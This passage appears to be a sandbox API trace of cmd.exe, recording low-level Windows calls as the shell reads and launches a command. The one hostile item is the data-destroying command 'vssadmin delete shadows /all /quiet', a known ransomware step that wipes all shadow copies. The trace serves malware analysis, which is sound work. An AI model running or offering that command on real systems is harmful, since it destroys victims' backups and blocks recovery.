lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0158.985] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c60, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0158.985] _get_osfhandle (_FileHandle=0) returned 0x248 [0158.985] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.985] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0158.985] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c62, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0158.985] _get_osfhandle (_FileHandle=0) returned 0x248 [0158.985] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.985] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0158.985] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c64, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0158.985] _get_osfhandle (_FileHandle=0) returned 0x248 [0158.985] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.985] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0158.985] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c66, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0158.985] _get_osfhandle (_FileHandle=0) returned 0x248 [0158.985] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.985] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0158.985] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c68, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0158.985] _get_osfhandle (_FileHandle=0) returned 0x248 [0158.985] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.985] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0158.985] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c6a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0158.985] _get_osfhandle (_FileHandle=0) returned 0x248 [0158.985] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.986] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0158.986] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c6c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0158.986] _get_osfhandle (_FileHandle=0) returned 0x248 [0158.986] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.986] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0158.986] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c6e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0158.986] _get_osfhandle (_FileHandle=0) returned 0x248 [0158.986] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.986] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0158.986] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c70, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0158.986] _get_osfhandle (_FileHandle=0) returned 0x248 [0158.986] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.986] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0158.986] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c72, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0158.986] _get_osfhandle (_FileHandle=0) returned 0x248 [0158.986] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.986] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0158.986] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c74, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0158.986] _get_osfhandle (_FileHandle=0) returned 0x248 [0158.986] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.986] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0158.986] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c76, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0158.986] _get_osfhandle (_FileHandle=0) returned 0x248 [0158.986] GetFileType (hFile=0x248) returned 0x3 [0158.986] _get_osfhandle (_FileHandle=0) returned 0x248 [0158.986] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.986] _get_osfhandle (_FileHandle=1) returned 0x254 [0158.986] GetFileType (hFile=0x254) returned 0x3 [0158.986] _get_osfhandle (_FileHandle=1) returned 0x254 [0158.986] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0158.986] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7d4ab9970*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x8484f8f9d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesWritten=0x8484f8f9d8*=0x24, lpOverlapped=0x0) returned 1 [0158.987] GetProcessHeap () returned 0x206da0a0000 [0158.987] RtlAllocateHeap (HeapHandle=0x206da0a0000, Flags=0x8, Size=0x4012) returned 0x206da0a8bb0 [0158.987] GetProcessHeap () returned 0x206da0a0000 [0158.987] RtlFreeHeap (HeapHandle=0x206da0a0000, Flags=0x0, BaseAddress=0x206da0a8bb0) returned 1 [0158.988] _wcsicmp (_String1="vssadmin", _String2=")") returned 77 [0158.988] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16 [0158.988] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16 [0158.988] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13 [0158.988] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13 [0158.988] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4 [0158.988] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4 [0158.988] GetProcessHeap () returned 0x206da0a0000 [0158.988] RtlAllocateHeap (HeapHandle=0x206da0a0000, Flags=0x8, Size=0xb0) returned 0x206da0a6e30 [0158.988] GetProcessHeap () returned 0x206da0a0000 [0158.988] RtlAllocateHeap (HeapHandle=0x206da0a0000, Flags=0x8, Size=0x22) returned 0x206da0a6c60 [0158.988] GetProcessHeap () returned 0x206da0a0000 [0158.988] RtlAllocateHeap (HeapHandle=0x206da0a0000, Flags=0x8, Size=0x48) returned 0x206da0b91b0 [0158.989] GetConsoleOutputCP () returned 0x4e3 [0158.989] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff7d4abfbb0 | out: lpCPInfo=0x7ff7d4abfbb0) returned 1 [0158.989] SetThreadUILanguage (LangId=0x0) returned 0x409 [0158.989] GetConsoleTitleW (in: lpConsoleTitle=0x8484f8f820, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0158.990] malloc (_Size=0xffce) returned 0x206da260840 [0158.990] ??_V@YAXPEAX@Z () returned 0x206da260840 [0158.990] malloc (_Size=0xffce) returned 0x206da270820 [0158.990] ??_V@YAXPEAX@Z () returned 0x206da270820 [0158.990] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0158.990] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0158.990] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0158.990] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0158.990] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0158.990] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0158.990] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0158.990] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0158.990] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0158.990] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0158.990] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0158.990] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0158.990] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0158.990] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0158.990] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0158.990] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0158.990] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0158.990] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0158.990] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0158.990] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0158.990] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0158.990] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0158.990] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0158.990] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0158.990] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0158.990] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0158.990] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0158.990] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0158.990] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0158.991] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0158.991] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0158.991] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0158.991] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0158.991] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0158.991] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0158.991] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0158.991] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0158.991] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0158.991] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0158.991] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0158.991] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0158.991] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0158.991] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0158.991] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0158.991] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0158.991] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0158.991] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0158.991] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0158.991] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0158.991] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0158.991] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0158.991] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0158.991] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0158.991] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0158.991] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0158.991] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0158.991] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0158.991] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0158.991] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0158.991] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0158.991] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0158.991] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0158.991] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0158.991] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0158.991] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0158.991] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0158.991] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0158.991] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0158.991] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0158.991] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0158.991] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0158.991] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0158.991] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0158.991] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0158.991] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0158.992] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0158.992] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0158.992] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0158.992] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0158.992] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0158.992] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0158.992] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0158.992] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0158.992] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0158.992] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0158.992] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0158.992] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0158.992] ??_V@YAXPEAX@Z () returned 0x1 [0158.992] GetProcessHeap () returned 0x206da0a0000 [0158.992] RtlAllocateHeap (HeapHandle=0x206da0a0000, Flags=0x8, Size=0xffde) returned 0x206da0a8bb0 [0158.992] GetProcessHeap () returned 0x206da0a0000 [0158.992] RtlAllocateHeap (HeapHandle=0x206da0a0000, Flags=0x8, Size=0x5a) returned 0x206da0b9200 [0158.993] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0158.993] malloc (_Size=0xffce) returned 0x206da270820 [0158.993] ??_V@YAXPEAX@Z () returned 0x206da270820 [0158.993] GetProcessHeap () returned 0x206da0a0000 [0158.993] RtlAllocateHeap (HeapHandle=0x206da0a0000, Flags=0x8, Size=0x1ffac) returned 0x206da0bc060 [0158.994] SetErrorMode (uMode=0x0) returned 0x0 [0158.994] SetErrorMode (uMode=0x1) returned 0x0 [0158.994] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x206da0bc070, lpFilePart=0x8484f8f0a0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x8484f8f0a0*="system32") returned 0x13 [0158.994] SetErrorMode (uMode=0x0) returned 0x1 [0158.994] GetProcessHeap () returned 0x206da0a0000 [0158.994] RtlReAllocateHeap (Heap=0x206da0a0000, Flags=0x0, Ptr=0x206da0bc060, Size=0x4a) returned 0x206da0bc060 [0158.994] GetProcessHeap () returned 0x206da0a0000 [0158.994] RtlSizeHeap (HeapHandle=0x206da0a0000, Flags=0x0, MemoryPointer=0x206da0bc060) returned 0x4a [0158.994] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7d4abbb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0158.994] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0158.994] GetProcessHeap () returned 0x206da0a0000 [0158.994] RtlAllocateHeap (HeapHandle=0x206da0a0000, Flags=0x8, Size=0x1b4) returned 0x206da0b9ac0 [0158.994] GetProcessHeap () returned 0x206da0a0000 [0158.994] RtlAllocateHeap (HeapHandle=0x206da0a0000, Flags=0x8, Size=0x358) returned 0x206da0b8ba0 [0158.994] GetProcessHeap () returned 0x206da0a0000 [0158.994] RtlReAllocateHeap (Heap=0x206da0a0000, Flags=0x0, Ptr=0x206da0b8ba0, Size=0x1b6) returned 0x206da0b8ba0 [0158.994] GetProcessHeap () returned 0x206da0a0000 [0158.994] RtlSizeHeap (HeapHandle=0x206da0a0000, Flags=0x0, MemoryPointer=0x206da0b8ba0) returned 0x1b6 [0158.994] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7d4abbb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0158.994] GetProcessHeap () returned 0x206da0a0000 [0158.994] RtlAllocateHeap (HeapHandle=0x206da0a0000, Flags=0x8, Size=0xe8) returned 0x206da0b9c80 [0158.994] GetProcessHeap () returned 0x206da0a0000 [0158.994] RtlReAllocateHeap (Heap=0x206da0a0000, Flags=0x0, Ptr=0x206da0b9c80, Size=0x7e) returned 0x206da0b9c80 [0158.994] GetProcessHeap () returned 0x206da0a0000 [0158.994] RtlSizeHeap (HeapHandle=0x206da0a0000, Flags=0x0, MemoryPointer=0x206da0b9c80) returned 0x7e [0158.994] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0158.994] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x8484f8ee10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x8484f8ee10) returned 0x206da0b9270 [0158.995] FindClose (in: hFindFile=0x206da0b9270 | out: hFindFile=0x206da0b9270) returned 1 [0158.995] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x8484f8ee10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x8484f8ee10) returned 0xffffffffffffffff [0158.995] GetLastError () returned 0x2 [0158.995] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x8484f8ee10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x8484f8ee10) returned 0x206da0b9270 [0158.995] FindClose (in: hFindFile=0x206da0b9270 | out: hFindFile=0x206da0b9270) returned 1 [0158.995] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0158.995] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0158.995] ??_V@YAXPEAX@Z () returned 0x1 [0158.995] GetConsoleTitleW (in: lpConsoleTitle=0x8484f8f390, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0159.479] GetProcessHeap () returned 0x206da0a0000 [0159.479] RtlAllocateHeap (HeapHandle=0x206da0a0000, Flags=0x8, Size=0x21c) returned 0x206da0b9d10 [0159.479] GetConsoleTitleW (in: lpConsoleTitle=0x206da0b9d20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0159.738] GetProcessHeap () returned 0x206da0a0000 [0159.738] RtlReAllocateHeap (Heap=0x206da0a0000, Flags=0x0, Ptr=0x206da0b9d10, Size=0xc2) returned 0x206da0b9d10 [0159.738] GetProcessHeap () returned 0x206da0a0000 [0159.739] RtlSizeHeap (HeapHandle=0x206da0a0000, Flags=0x0, MemoryPointer=0x206da0b9d10) returned 0xc2 [0159.739] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0159.742] GetProcessHeap () returned 0x206da0a0000 [0159.742] RtlFreeHeap (HeapHandle=0x206da0a0000, Flags=0x0, BaseAddress=0x206da0b9d10) returned 1 [0159.742] InitializeProcThreadAttributeList (in: lpAttributeList=0x8484f8f2b0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x8484f8f1a0 | out: lpAttributeList=0x8484f8f2b0, lpSize=0x8484f8f1a0) returned 1 [0159.742] UpdateProcThreadAttribute (in: lpAttributeList=0x8484f8f2b0, dwFlags=0x0, Attribute=0x60001, lpValue=0x8484f8f18c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x8484f8f2b0, lpPreviousValue=0x0) returned 1 [0159.742] GetStartupInfoW (in: lpStartupInfo=0x8484f8f240 | out: lpStartupInfo=0x8484f8f240*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254)) [0159.742] GetProcessHeap () returned 0x206da0a0000 [0159.742] RtlAllocateHeap (HeapHandle=0x206da0a0000, Flags=0x8, Size=0x20) returned 0x206da0a6ef0 [0159.742] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0159.742] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0159.742] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0159.742] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0159.742] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0159.743] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0159.743] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0159.743] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0159.743] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0159.743] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0159.743] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0159.743] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0159.743] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0159.743] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0159.743] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0159.743] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0159.743] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0159.743] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0159.743] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0159.743] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0159.743] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0159.743] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0159.743] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0159.743] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0159.743] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0159.743] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0159.743] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0159.743] _wcsnicmp (_String1="COPYCMD", 